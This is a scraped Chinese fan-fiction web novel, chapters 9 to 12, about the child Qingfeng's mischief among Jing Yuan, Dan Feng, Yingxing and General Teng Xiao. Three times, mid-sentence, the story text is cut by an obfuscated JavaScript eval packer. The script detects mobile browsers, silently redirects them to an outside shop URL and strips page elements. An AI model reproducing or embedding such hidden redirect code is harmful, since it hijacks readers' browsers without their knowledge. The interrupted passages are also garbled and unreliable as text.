景元垂下的手悄悄扯了扯好兄弟的衣角,递给他一个眼神。 不管你现在想做什么,立刻,马上,停下! 清风见状,也是熟练地回了一个眼神给景元。 放心!我懂! 景元:…… 心中的不详预感不减反增。 “……我观小友气息尚且短促,想必内里伤势尚未痊愈,今日暂且,我让持明守卫送你回丹鼎司休息……”丹枫看着清风尚未完全恢复血色的脸颊,言语带着医者对病人的关心,而后又话锋一转,看向景元,“景元,听闻你的师父做任务回来了,帮我和你师父带句话,等我这边忙完了,过几日便去拜访她。” 景元听了,点了点头:“我会和师父说的。” 看着眼前乖巧听话的两个孩子,即便性情淡漠如丹枫,说话也不由地更温和了几分。 不多时,一位持明的守卫便来到了此处。 也不知持明一族是用何方式传递信息。 看着匆忙赶来向丹枫告罪的持明守卫,清风的心底疑惑。 丹枫宽慰了守卫几句,似乎让两个孩子这般轻易闯入持明重地并非是什么大事,而后将目光转向两人:“从此处回到岸边,路况复杂,就让龙三送你二人回去吧。” 景元听了,点了点头。 清风面上点了点看,可看着丹枫转身即将离去的身影,还是向前一步道。 “那个,龙尊大人……” 景元:……内心不好的预感愈发强烈。 这强烈的预感甚至促使着他伸出手扯着清风的手臂,试图阻止好兄弟接下来的行为。 然而并没有什么用,大胆的清风小友终究还是说出了那句让旁人震惊侧目目瞪口呆的问题。 “龙尊大人的龙角看上去好好看,我可以摸一摸吗?” 丹枫:…… 景元:…… 持明守卫.龙三:??????? 景元拉着好兄弟的手缓缓松开,甚至挪动着脚步向后退了几步。 心里道:好兄弟,走好,我以后会去绥园看你的…… 9.第 9 章 * 龙三,持明族龙尊直属龙卫队的一员。 与其余龙卫队的成员一样,对饮月大人,他的心中充满了尊敬和爱戴。 这份感情并非所有人都能够理解,但是任何人只要站在他的位置,他坚信,都会变得和他一样…… 就拿最为简单的例子来说明吧。 罗浮仙舟的根基,寿瘟祸祖千百年前给予仙舟人的长生之种——建木。 那无疑是神明的奇迹,也是仙舟人曾经遭受巨大灾祸的源头。寿命、痛苦、治愈、绝望……无数或好或坏的结果皆来自于它。 可就是这样可怕的属于神明的奇迹,饮月大人却能够将其压制、封印。 身为龙卫,龙三曾不止一次近距离目睹饮月大人施展龙尊之力。 第一次见,他颇感惊奇,备受震撼; 第二次见,他眼眸如光,深感自豪; 第三次………… 第四次…… …… 一次又一次,他追随着大人,旁观着大人成就一次又一次的伟业,心中的信仰也日复加深。 那是持明一族的龙尊!持明一族的一族之长。 他立下誓言,将用一生追随的存在。 ………… 先不论持明族内部对饮月大人的尊崇,仙舟联盟内,也鲜有不为饮月大人的风姿所倾倒之人。 所以不论何处,龙三认为,世间不会,至少在仙舟内,或者说在持明族的地盘上,没有人会对饮月大人出言不逊。 在持明族的地盘上对龙尊大人不敬,那不是找死是什么。 单持明人一人一口唾沫都可以淹死你! 所以当龙三听到那句大不敬话语的时候,他第一次发现自己经过百年修行锻炼,平日里古平无波的心境可以动荡地如此厉害。 “龙尊大人的龙角看上去好好看,我可以摸一摸吗?” 龙三:????? 这破小孩刚刚说什么?? 他说他想摸龙尊大人的角? 他知道面前之人是谁吗就说要摸! 龙尊大人的角是可以随便乱摸的吗! 虽然他也知道龙尊大人魅力超群无人能挡,但是这也不是你这个小孩可以随意出言不逊的理由! 你是小孩也不可以随便乱说话啊! ……………… 诸如此类的言论一瞬间在龙三的心头旋转跳跃,最后化为一句话。 没礼貌的小孩你死定了! …… 可是饮月大人的声音在耳边响起。 “龙三,拜托你了。” “是,饮月大人。”龙三条件反射应道。 话音刚落,龙三内心思绪一顿。 饮月大人让我送这小孩回去。 可是这个小孩刚刚…… 两个念头在脑海里对打,但是不过几息,内心对龙尊大人的服从便占据了上风。 于是最终,龙三还是规矩地将两个小孩带离了波月古海。 刚一送到地方,龙三对着小景元点了点头,而后又用看似平淡实则隐含凶恶的眼神看了小清风一眼。 小孩,这次算你走运,饮月大人不与你计较,下一次你若还是那般无礼,别怪我不客气! ↑他的眼神表达着这样的信息。 而后便头也不回地离开。 身后,清风看着那位陌生的持明族人离去的背影,对身侧的小伙伴问道:“……景元,为什么我总感觉那个龙三的守卫看我的眼神那么……那么凶?好像下一秒就要冲上来和我对打一样,难道说我以前得罪过他吗?” 自认为“人缘很好”的清风小朋友对此非常不解,毕竟自己只是一个可爱无辜的小朋友罢了,怎么会有人会不喜欢自己这样乖巧(重声)的小朋友呢? “我倒是略微可以理解一二。”景元早已放弃所有挣扎,金色的眼眸中没有一丝波动。 “哦?”清风听了,对景元投来了求解的目光。 然而面对清风的疑惑,景元并未回答,只是淡淡地拍了拍他的肩膀,然后给予了好兄弟一个“自求多福”的眼神。 好兄弟,还搁这琢磨呢, 不好好养伤离开丹鼎司玩 偷拿将军玉兆下工造司订单 拿鱼竿去持明族重地钓鱼 钓鱼钓到了持明龙尊不说还…… …… 总之,这一桩桩一件件,可都是实打实的,无可抵赖的事实啊! 更重要的是,饮月君手里的鱼竿可是实打实的“罪证”! 景元一想到此事最终会如何处理,心里也一时间有点没底。 但是没关系,有好兄弟在,被罚的最重的那一个绝对不会是他就是了! 因为正要仔细说来,他充其量也不过是个从犯! 清风才是主谋,他才是罪魁祸首! 我景元不过是个顺带的!! 什么?你说兄弟情谊?兄弟不就是拿来坑的吗? 正所谓大难面前我替兄弟扛,小难当头兄弟挡一切。 这可是清风亲身教导,小景元一直暗暗记在心头的真理,现在终于有机会付诸实际,又怎会退缩。 是以,阿清,这一次,就委屈你一下,放心,景元会永远将你的大恩大德记在心里的。 想到这,景元又用力拍了拍清风的肩膀,而后换来了好兄弟满脸的疑惑不解。 ………… * 可是,事实有的时候总是会和自己想象中的有所不同。 大概这就是所谓的,想象很美好,现实很残酷吧。 “……我本以为,有小友在,清风可以安分些的,”腾骁将军看着面前低着头的脑袋从以前的一个变成了现在的两个,顿觉无奈,“现在看来,是我想多了。” 景元,景元低着头,和身侧的清风一样,一声不吭,非常安静。 要问为什么景元也这般姿态,腾骁将军身侧的身影便是答案。 “小徒顽劣,给将军添麻烦了。”镜流看着自家徒弟低着头认错的样子,面上不显,心中却满是新奇。 没想到景元也会做出如此……生动的事,交了朋友之后,当真是不一样了。 而面对镜流的话语,腾骁将军摆了摆手,对于自家徒弟,他颇有自知之明:“言重了,认真说来,景元不过是被阿清带的,若非阿清,景元也不会……” 说到这,脑子里又想起面前两个小孩的“丰功伟绩”,腾骁将军又是一阵头疼。 前段日子的事件刚刚平息没多久,眼下又来一个,再这样下去,在灭杀丰饶孽物前,他怕是会先被自家徒弟给搞死!! 仙舟人寿命无量,未来,还有很长很长的时间,换言之,这样的事情,若不加以制止,怕还是会发生无数次。 想到这,即便是意志坚定如腾骁将军,也不由眼前一黑。 不能再这样下去了! 腾骁将军心中暗下决心,面容严肃,看着自家徒儿充满着“知错认错”气息的脑袋,道:“阿清,做错了事,那便要承担相应的后果,这个道理,想必你早已通晓,无需我多言,是吗?” 清风,清风低着头,点了点头。 腾骁心中稍感宽慰,但决心未变,对着阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17443706|200989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清继续道:“既然这样,我看你的伤也养得差不多了,接下来的时间,你便和我回府,府上书房内有不少书籍,我给你挑了一些,你要细细研读、抄写,什么时候抄完,我再允许你出门。” 清风听闻面色一僵,原本低着着头也一顿一顿地抬起,看向自家师父。 清风:师父,是我想的那个意思吗? ↑他的眼神中带着一丝希冀。 腾骁将军对着徒弟无情地点了点头。 就是那个意思,这次,没得商量。 现场气氛在这一瞬间似乎凝固了几秒。 ……… “师父!”只见清风一个飞扑扒拉住了腾骁将军的大腿,嘴里不住哀嚎,“师父!我坐不住的!我抄不动的!我做不到的!让我抄书还不如让我挥剑万次!你忍心让我这么活泼可爱的小孩被禁锢在那冰冷无聊的书房里抄书吗!你忍心吗!” 清风小朋友泪眼汪汪,好不可怜。 可惜,和以往不同,这一次,腾骁将军不见丝毫动摇。 “你坐的住、抄得动、做得到,让你抄书可比你挥剑万次学的到多多了。”腾骁将军右手一个用力,将扒拉着自己大腿的小孩提溜了起来。 看着自家徒弟那般模样,腾骁将军的脸上带着鼓励的笑容:“放心吧,阿清,师父相信你一定可以的。” 清风:…… …… 而在清风的身后,景元看着好兄弟凄惨的背影,内心悄悄地松了一口气。 嗯,一切和他想象的没有什么区别。 正当他如是这般认为时,耳边却传来镜流的声音。 “景元,不管有意还是无意,此次你的行为皆有过错,是以,回去后的课业加倍,每日挥剑不得少于万次……”在镜流不容置疑的话语中,景元的脸色逐渐僵硬。 “……我会亲自监督。”看着景元,镜流最后补充道。 景元:…… 师父亲自监督,可以,这下偷懒这一条路也被彻底堵死。 每日挥剑一万次以上,明日开始,我的手臂还会有活路吗? 景元心想着,目光看向阿清,内心还带着几分希望。 万一阿清求情成功,那自己是不是也可以…… 阿清早已双手合十,满脸写着认命,粗略看去,似乎还可以在其头顶看到类似高僧顿悟时候的佛光。 景元:…… 景元目光逐渐木然,原本还带着几分轻松的背影也彻底变成了和小伙伴一般无二的模样。 常在河边走,哪有不湿鞋。 调皮的孩子,终究还是要付出应有的惩罚。 至此,俩小孩充满活力的快乐玩耍暂时告一段落。 …… * 工造司。 “哦?是那孩子私自下的订单吗?”应星听到此番事件原委后,挑了挑眉,对此事内心并无排斥之情。 毕竟说到底,他自己也是个不按常规道路来做事的工匠,倒不如说,如此打破常规的行事风格,他还颇为欣赏。 这份欣赏,在听到那鱼竿的图纸是由清风自己设计的时候,更是加重了几分。 所以……说出这样的话,也不意外。 “在抄完书房的书籍后禁止外出吗?”应星对此惩罚,有些不认同,“没想到腾骁将军平日做事灵活,但是在教导孩子一事上,倒是颇为古板。” “你是这样认为的吗?”应星对面,光线昏暗的角落里,传来一个清冷的声音。 脚步声响起,那声音也随之靠近,带着一丝无奈:“我倒是觉得,腾骁将军已经足够手下留情了。” 10.第 10 章 * 伴随着那道声音的靠近,原本模糊的身影也变得清晰。 头生龙角,双耳尾尖,眼眸如涛涛水波,绵延不绝…… 正是持明族龙尊——饮月。 “是吗?”对于好友的回答,应星倒是显得有些心不在焉,“也许吧,将军做事,总归是有分寸的。” 说着,他将注意力转回锻造台上的鱼竿,对着丹枫道:“所以,这次难得来我这一趟,难道你就是为了和我聊聊将军的‘育儿行为’吗?” “说什么呢,”面对相识多年的好友,丹枫的语气也不似平日的冷淡,“这根鱼竿的探测系统做的很是巧妙,将军似乎有意大批量制造,用于荒星探索……具体方案,也许会在下一次的工作会议提出,至于这根鱼竿……” 说着,丹枫目光的落点也随之放在了那锻造台上,语气里也不由带上了几分微妙:“……将军说,这跟鱼竿先放在你这里比较保险。” “为何?”对于此话,应星倒是有些不解,“这鱼竿上上下下所有细节本就都是我制作,就连图纸都还在我这里,我不需要它来做样品参考啊?” 难道说是最近时局又发生了什么他不知道的变化,所以才需要把这个东西放在工造司“百冶”这里比较保险吗? 应星一边内心如此猜测,一边转头看向好友。 对于应星的疑惑,丹枫的眼神却是变得更加微妙了起来。 只见他沉默了一会儿,而后一字一句回答道:“用将军的原话来说,大概是因为……这根鱼竿放在你这儿,比较‘保险’吧。” 应星听闻,内心对于罗浮仙舟近日时局不稳的猜测又加深了几分。 “是嘛,”他嘴里呢喃着,而后点头应下,“好的,我知道了,我这间锻造室里里外外不管怎么说,也非外人能够轻易进来的地方,放在我这里,倒也算安全。” 看着好友那般认真的模样,丹枫静默了稍许,最终还是决定暂时别说出内心的猜测。 毕竟就刚刚应星对于清风小朋友的评价,这个时候如果和他说“将军是为了防止清风把鱼竿偷偷拿回去,才将鱼竿放在他这里”这样的话,他怕是也只会表示一番对清风小朋友不走寻常路行为的欣赏,然后劝解将军把鱼竿拿回去吧。 内心如是思索,丹枫又不仅无声地叹了一口气。 清风,据腾骁将军所说,当初鱼竿还未制作出来的时候便能够将将军藏起来的诸多物什悄无声息地拿走,若是让这玩意儿重新还给他,还真不知道他会做出什么事情来。 “反正肯定不会在书房乖乖呆着抄书,没准还会神不知鬼不觉地溜出去玩,以他的能耐,没准惩罚结束了都没有人能发现他偷偷溜出去了…… 甚至没准那些罚抄的书籍最后都不一定是他自己亲手抄的!” 记忆里,腾骁将军苦恼的神情似乎还在丹枫眼前晃悠,神奇的是,虽然与那清风小友仅一面之缘,但对于腾骁将军这般猜测,丹枫却是没有丝毫怀疑地倘然接受。 果然还是那个孩子太语出惊人了吧。 丹枫想着,右手抬起,又放下。 摸龙角什么的,还是第一次有人敢在他面前如此大胆询问。 那孩子眼里的赤诚,他看得出来,那孩子确实只是单纯地好奇龙角…… 回想起那孩子和深海一样漂亮的蓝色眼眸,丹枫心底微微一动,可旋即又为不可察地皱了皱眉。 还是让腾骁将军多多管教一番吧,再怎么说,摸龙角还是…… ………… 不行。 …… “想什么呢?这么入迷。”眼前,应星紫色的眼眸一闪而过。 丹枫恍然,从思绪中回神,道:“没什么。” 他抬起头,又看了眼锻造台上的鱼竿。 半晌,淡淡道:“没什么事,我就先回去了,族里还有个会要开。” “又开会?”虽然是疑问句,但是应星对此情况倒很是习惯。 他一边对着好友挥了挥手,一边将注意力转回另一个锻造台上的机巧零件,“持明族大大小小的会议真是我见过最多的了……去吧,我也要看看今日能不能把这些零件全部拼凑起来。” 看着应星逐渐开始忙碌的身影,丹枫便转身离开了工造司。 锻造室,“叮叮”的自动打铁器依旧还在屋内回响着。 “不知道清风什么时候可以结束他的禁闭,”忙碌的间隙,应星回想起那张巧妙的“鱼竿”图纸,内心思绪划过,“若是能早点和他聊聊,也许就可以知道他的想法究竟从何而来……” 不过总归那是未来一段时间之后的事情了,现在,应星还是将注意力全部投入到了眼前的机巧零件内。 殊不知,现在所有的期待都将会在未来的某一天,给予本人无限的悔恨。 “立个牌子,上书‘清风不得入内’,记得肖像画一起贴一张……” 未来的某一天,应星如是这般对着身旁的助手吩咐着。 …… 可惜,人是无法预知未来的,所以现在,“百冶”大人应星,还是对清风保有几分美好的幻想。 ………… * …… 另一边,清风在干什么呢? 清风正在将军府内的书房,全神贯注地…… ……全神贯注地试图偷溜出门。 抄书? 也许刚刚开始,内心还抱着几分将书翻烂的雄心壮志,可是清风本就不是那种坐的住的人,即便开头再如何气势高昂,半小时过后,意志终究还是被消磨殆尽。 “这书上的字为什么在爬?”在眼睛如此经历了第五次的错觉过后,清风认为,还是将军府外的广阔天地更有意思。 所以,溜出去找好兄弟玩的出逃计划再次从脑海中冒了出来。 “师父认为,区区门锁就可以将我困在此处吗?”清风丢下手中握着许久的毛笔,打开窗户,双手一撑便要从窗户溜…… “清风小友,还请回去将课业完成。”窗边,突如其来冒出的一个脑袋将清风硬生生吓了回去。 “……吓我一跳,原来是玄羽姐.”定睛一看来者,清风原本紧张的脸色顿时放松了些许。 但很快,放松的脸庞又带上了谄媚的笑容,双手不住互相揉搓着,“那个,玄羽姐,你怎么在这啊……将军府上不是还有很多事需要您亲自操持吗,怎么今日……” “将军吩咐了,要让清风小友乖乖待在书房,‘课业没有完成前不许出门’。”玄羽面无表情地回答。 清风听了,嘴角抽了抽,可脸上一笑却未曾变化。 只见其对着玄羽凑近了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449231|200989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少许,语气柔和道:“玄羽姐,你看这书房多无聊啊,我不过是想出去透透气罢了,没有想出门的意思,你看要不……” “不行,”玄羽大人这次却失去了往日好说话的样子,一板一眼地拒绝了清风还未出口的提议,“这次将军是认真的,清风小友还是把所有课业完成了在出去吧。” 说完,不等清风继续说些什么,两只手一左一右一拉,原本大开的窗户就这样又被玄羽重新关了起来。 “欸!”看着在自己眼前关闭的“自由”之窗,清风的眼里满是不舍。 他看着紧闭的窗户,转过身,步伐沉重地朝书桌走去。 就这样放弃了吗? 才怪! 走窗户不行走门啊! 什么?门锁着?拜托,开锁这种小技巧难道不应该人人都会吗?怎么可能挡得住一颗向往“自由”的心? 清风迈着淡定地步伐,熟练地房间的角落掏出“作案工具”,熟练地在门旁蹲下,耳朵紧贴房门,细细聆听…… 很好,没人。 而后掏出工具小心翼翼地捣鼓起门锁。 哟!还是和上一次一样的门锁结构,一点都没有变化。 不过几秒,只听“咔嚓”一声,阿清的脸上扬起快乐的笑容。 站起身,轻轻一推,紧闭的房门就此打开,阿清的自由活动时间也就此…… …… 就此结束。 快乐的笑容凝固在脸上,看着眼前高大又熟悉的身影,阿清心虚无比。 “哟?这是,要去哪儿啊?这么高兴……”腾骁将军脸庞似笑非笑,双手交叠环抱胸前,言语中听不出是喜是怒。 阿清:…… 正所谓“识时务者为俊杰”。 对于局势的变化,只有拥有敏锐观察力的小孩才能够在这种危机的情况中全身而退! 阿清就这样保持着僵硬的笑容,一步一步,缓缓退回屋内,双手用力,顺势将打开的房门掩上…… ……门怎么关不上? 阿清抬头,看着房门边上撑着的手掌,内心有种不好的预感。 “别这么急着关门,”腾骁将军不紧不慢地将房门再次打开,而后露出了身后满当当的各类卷轴。 看着徒弟愈发僵硬的表情,腾骁将军露出了“善解人意”的笑容:“放心,师父就知道你坐不住,这不,我把公务带回来处理,这下你也算是有伴了。” 说着,还拍了拍自家徒弟的肩膀,以示宽慰。 就这样,在距离“自由”仅一线之隔(并没有)的地方,清风绝望地被师父拉回了枯燥的“牢笼”。 下一次,还是要更小心点别被发现为好。 看着眼前密密麻麻的字眼,清风这样想着。 全然没有意识到此次的惩罚并不是这一次事件所带来的,而是积累许久的结果。 同时,腾骁将军也颇为头疼地看着眼前枯燥的文书,只觉脑袋一团乱麻。 为什么世界上要存在工作报告这种东西?这种东西存在的意义究竟是什么啊? 于是,书房的书桌旁,可以看到师徒二人难得思维统一,动作一致地叹了一口气。 将军:字好多,看不动了。 阿清:好无聊,好想出去玩。 只能说不愧是师徒。 11.第 11 章 * 最近,工造司发生了一件让工匠们惊掉了下巴的事情。 说是“最近”,实际上是一件发生了有一段时间的事情了,只不过工造司的工匠们大多数醉心于研究各类机巧器具,沉迷于各式寰宇器材,消息闭塞,以至于这件事都持续了一段时间后,才逐渐被所有匠人所知晓。 “所以说,那个人,居然真的主动踏出了锻造室休息,还是固定时间段的那种?”有人满脸惊奇地向阿鑫小声打探着,言语里的不可置信压都压不住,就连手里一直紧握着的珍稀钢材快掉落在地了都没有发现。 “是的,千真万确,童叟无欺!”阿鑫不知道第几遍说着这番话,脸上虽然面无表情,可眼里却没有丝毫的不耐。 毕竟,那个人,那个主动离开锻造室说要固定时间段好好休息的人,可是仙舟联盟工造司公认的“百冶”!朱明将军怀炎的私淑弟子!联盟千百年来最为耀眼的工造司明日之星! 哦,不对,应该是今日之星! 毕竟身为短身种,能够在技艺高超,天才如云的仙舟联盟,能够在短短十几年的时间内打败工造司一众学习了几百年的天人们,单是这一份天赋,就已然能够让所有匠人低下其高傲的头颅。 现在的他,单是凭借自身高超的冶炼技巧和锻造手艺,已然能够俯视联盟内95%以上工匠了。 可是和他那份耀眼的名头以及一堆随便单拎出来都可以让人高呼“巧夺天工”的器具作品相比,那不要命的宛若疯魔一般的工作态度也让所有人侧目、暂叹。 如果说工造司的工匠们,都是那种能够为制作出自己心中最为完美的技巧器具和付出一切的疯子,那位名为应星的“百冶”大人,无疑是其中翘楚。 “据说,他曾经凭借着丹鼎司的精力丸,创造下连续七天七夜不吃不喝不眠不休待在锻造室锻造器具的工造司最高纪录!连续七天七夜啊!长生的仙舟人都不敢这么扛!” “若不是最后他的好友强行将他从锻造室内拉了出来,他可能还要创下八天八夜的最高纪录……” “在那之后,丹鼎司的精力丸都开始了限购,若要购买,还得凭借身份证明才可购得,一次性还不能够买太多!” “那一次过后,虽然他确实有所收敛,但还是在锻造室中还是会时不时忘记时间,忘记休息,以至于后来都会吩咐一些同僚来提醒他,甚至他的朋友都养成了固定来看看他的习惯,似乎是生怕他哪天就因为操劳过度嘎嘣在了某个角落……” “这样一看,百冶大人还真是让人操心。” ………… 所以说!就是这样一个研究器具研究到废寝忘食,热爱冶炼热爱到愿意付出自己所有时间精力舍不得休息的人! 现在!居然!自己!提出要好好休息?! 这件大事怎让人不惊讶?! 怎让人不惊叹?! 又怎让人不好奇,这一切的始末? “难道说,百冶大人终于想通了人的身体是不能像他那样随便糟蹋的道理吗?”打听消息之人实在是百思不得其解,毕竟这件事实在是太让人难以置信了,完全超出了他往日对于应星此人的理解。 于是思来索去,只得出了这样一个听上去毫无逻辑可言的推测。 “这个……”听到这样的猜测,阿鑫摇了摇头,面色古怪,像是这件事情真正的起因略有些难以用言语表述。 于是最后,面对同僚的询问,也不过是从唇齿间干巴巴地挤出一句:“这很难说……” 谁知这样的话语反倒激起了询问者更大的疑惑。 难说?怎么个难说法?总不可能是百冶大人厌弃他最爱的机巧研究,所以才开始想要好好休息吧。 哈哈哈,这话说出来连他自己都觉得好笑。 阿鑫:…… 询问之人笑了半天,方才发觉怎么只有自己一个人的笑声。 他:? 啊? …… * …… 事情的起因究竟是什么呢? 先前说过,我们的百冶大人——应星,因为某张将军府上的机巧订单图纸,而对某个孩子产生了某种名为欣赏的情绪。 这种感觉大概就像一名修行多年的武者,某一天走在路上发现路边的一个小孩根骨极佳,甚至已经有所成就,于是认不出想出手试试他究竟达到何种境界。 而应星,身为工造司有名的锻造高手,也想看看这个小孩能力的高度达到了什么参差。 也许是因为天才之间总是会有种莫名其妙的吸引力? 不然实在是难以解释应星为什么会对那位一面之缘的孩子保有如此强大的兴趣。 可惜在真正见面后,他对于那个小孩,也就是清风的情感,注定会是复杂的。 …… 清风小朋友终于抄完了那如山一样高的书籍,他终于可以离开那间该死的“禁闭室”了。 什么?你说那是书房,才不是什么禁闭室。 不!清风认为那就是禁闭室! 整整一个月的时间,除了吃饭睡觉上厕所,他的活动区域只有那里!你知道这对于一个喜欢出门到处玩的小孩有多残忍吗? 这简直就是新世纪酷刑! 所以那就是禁闭室!清风不管它叫监狱已经很嘴下留情了! 好不容易解放,自然要先去找好兄弟出门玩玩以缓解自己这段时间内心所造成的伤害。 当然,禁闭期间他想出来的各种好玩的有趣的,当然也要和好兄弟一起分享! 清风从怀里拿出一沓厚厚的纸页,脸上露出了期待的笑容。 然后直奔好兄弟的家。 可惜事与愿违,好兄弟的时间目前似乎也不是很宽裕的样子。 “今日课业还未完成,所以,我们还是改日再聚吧。”小景元十分“意志坚定”(?)地拒绝了好友的提议,单手拿剑,额头上还带着些许汗水,不难看出是在练剑途中跑出来回复清风的邀请。 丢下了这句干脆利落的拒绝之后,小景元拎着木剑,又回到了原先的位置开始那枯燥的努力,全然没有发现身后在听到了自己的拒绝声后,浑身瞬间僵硬,一副石化样儿了的清风。 换了从前,清风一定先一哭二闹三上吊黏着好兄弟拼命求他答应!这一步不行在晓之以情动之以理打感情牌…… 总之各式各样的招式清风脑子里多的是呢! 但是今天,清风看了眼不远处面容肃立的镜流师父,再看了眼汗水满面,却依旧紧握木剑,满目认真的景元。 清风:…… 做不出来。 看着好友额头上的汗水,他知道,景元是认真的。 认真地想要变得更强,并为之努力。 所以他看着景元努力着的身影,没有如往日那般撒泼打滚,而是默默地,悄悄离开了这里。 回头给景元带些好吃的放松放松吧,毕竟再怎么说训练也是很辛苦的。 当然,要在休息时间过来。 不过手上的这些有意思的计划,难道只能自己一个人完成了吗? 路上,清风看着手里的一沓,眉头皱了起来。 要知道,很多好玩的计划其实本身并不好玩,只是和自己的好朋友在一起,所以好玩了起来。 可是很快,清风便找到了解决方案。 “还是有可以做的事情嘛。”清风从那一沓纸页中挑出一小叠图纸,脸上露出笑容,“这些和鱼竿不相上下的玩具,我可以先做出来,等景元休息的时候拿给他玩儿啊!” 似乎对自己的这个想法极为满意,清风一边迈着轻快的步伐,一边点了点头。 “事不宜迟,工造司,我来了!” …… * 而另一边,景元练剑的小院,就在清风悄然离去后不久,镜流看着经过近段时间以来,练剑姿势愈发标准,眼神愈发锐利的徒弟,嘴角也不由勾起一丝为不可察的弧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17456540|200989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 度。 “呼!” 干净利落的剑招,没有一丝多余的动作,即便这个动作已经被木剑的主人挥舞了上万次,可依旧是是如此标准、有力。 “今日的例行课业明明早就完成了,为何不和清风一起出门放松放松呢?”看着徒弟这般努力的模样,一向对这些事情毫不在意的镜流如是问道。 “……说不清楚,”景元动作未停,却能够气息平稳地回答师父的问题。 “大概是因为不想被丢下吧。”他说出了这样的回答。 “哦?”镜流饶有兴致地歪了歪头,觉得有段时间没有联系的徒弟似乎在自己不知道的地方有所成长,“为什么?仙舟联盟现在并不是战时状态,你也还小,有足够的时间成长。” “或许吧,”景流一步,一剑,一步,一剑,动作标准得可以拿来当剑术入门教科书,“但是和他相处久了,总是会有意无意地发现自己和他之间的差距,明明我们都是差不多的年龄,但是总觉得他经历了很多……” 说到这,景元停下了手中的动作,看向师父,眼眸里带着几分思索、又带着几分回忆。 “……好像在我还在学宫跟着老师学习的时候,他就已经像一名真正的云骑军一样战斗,守护着自己心中想要保护的一切,这种感觉,就像……” 他思索了一下,看向镜流,“……就像师父一样。” 镜流看着景元,并未发话,只是用那沉静的目光,像是在鼓励着他继续。 “大家都说,战场之上,只要有师父在,就不用担心,”说到这,景元低了低头,似乎有些不好意思,“和阿清在一起,有时候就有那种感觉,只要有他在,就不用担心……” 他看着手中握着的木剑,说着:“从前习剑,不过是家人的提议,强身健体罢了,可是见了他,方才知晓习剑修心的道理,甚至不止这些,还有很多很多别的……” 脑海里,过去一起创造的回忆在回荡,一瞬间,他想到了很多,但是又不知从何说起。 “总之,就是不想被丢下,”最后,他重复着,语气里似乎还带着孩子间的倔强,不想被小伙伴丢弃的倔强,“肩并肩才是同伴,老是看着阿清的背影,我迟早有一天会被抛下的……” 看着浑身散发着些许不安的徒弟,镜流难得轻声笑了笑,忍不住上前揉了揉自家徒弟毛绒绒的脑袋,道:“你向来聪慧,而且做事稳重,未必会追不上他。” 虽然说着这话的时候,语气依旧带着平日的冷淡,却不难听出其中的关切。 “再说了,习剑一事,需循序渐进、持之以恒,你进步已然很大,无需操之过急。”说着,将景元手中木剑拿了过来,道,“这段时间课业完成的不错,但还是要劳逸结合,接下来一段时间好好休息,别给自己太多压力。” 说着,像是想到了什么,补充道:“每日的课业还是要准时完成的。” 感受着脑袋上温暖的抚摸,景元惊讶地瞪大了双眼,而后听到师父的话语,张了张嘴,却又什么话都没有说出来,最后只得点了点头。 镜流莫名又回想起了从前徒弟问自己“杀敌为何一定要用剑”时候的模样。 “师父为何执着于用剑?能杀死敌人的武器有千百种……”* 再想到刚刚景元说着“习剑修心”的模样。 一个朋友,或许真的可以改变许多,就像自己,也是遇见了好友,方才明白何为生机,她的剑,也因此带上了些许温度。 思绪回转,看着徒弟乖巧的模样,镜流眼帘微垂,掩眼底柔色。 景元以后会是一名值得信赖的伙伴的。 她想,就像白珩、丹枫、应星和云骑军的伙伴们一样。 …… * …… 另一边,到达工造司的清风看着眼前熟悉的道路,脸上露出了期待的笑容。 而正在锻造室的应星丝毫不知道,平淡的日常生活将在未来的一段时间里暂时离他而去。 12.第 12 章 * 应星本人其实是抱着几分期待和清风见面的。 在他心里,清风是个有工造天赋,但是性格又有点小调皮的孩子。 仅此而已。 不过很快,那份期待很快便成了自我怀疑。 “这是什么?”和清风小朋友经历了几番寒暄后,应星手指着图的图纸,觉得自己几十年来的工造知识收到了些许微妙的冲击。 “是我亲手画出来的机巧图纸呀。”清风睁着他那双闪烁着星光的双眼,似乎对于图纸上即将要制造出来成为现实的机巧器具颇为期待,“这可是我呕心沥血设计出来的,我敢保证,只要能够做出来,绝对会比之前那根鱼竿还要有趣!” 有趣吗? 应星难得无言,一时间不知该作何反应。 确实会很有趣。 光看图纸介绍,比如形似浴缸的移动器具;能够模拟蘑菇生态的雨衣;亦或者是毛绒绒的仿生机巧鸟…… 嗯?等等,这张图纸为什么一定要强调毛绒绒的外皮? 看着手上写着“一定得是毛绒绒的啊不能更改!这是精髓”字样的图纸,应星的脑袋旁短暂地划过一个“?” 这是什么小孩子天马行空般的想法设计?不过清风现在确实也还是个小朋友,所以有着这些想法倒也不奇怪。 不过最主要的一点还是…… 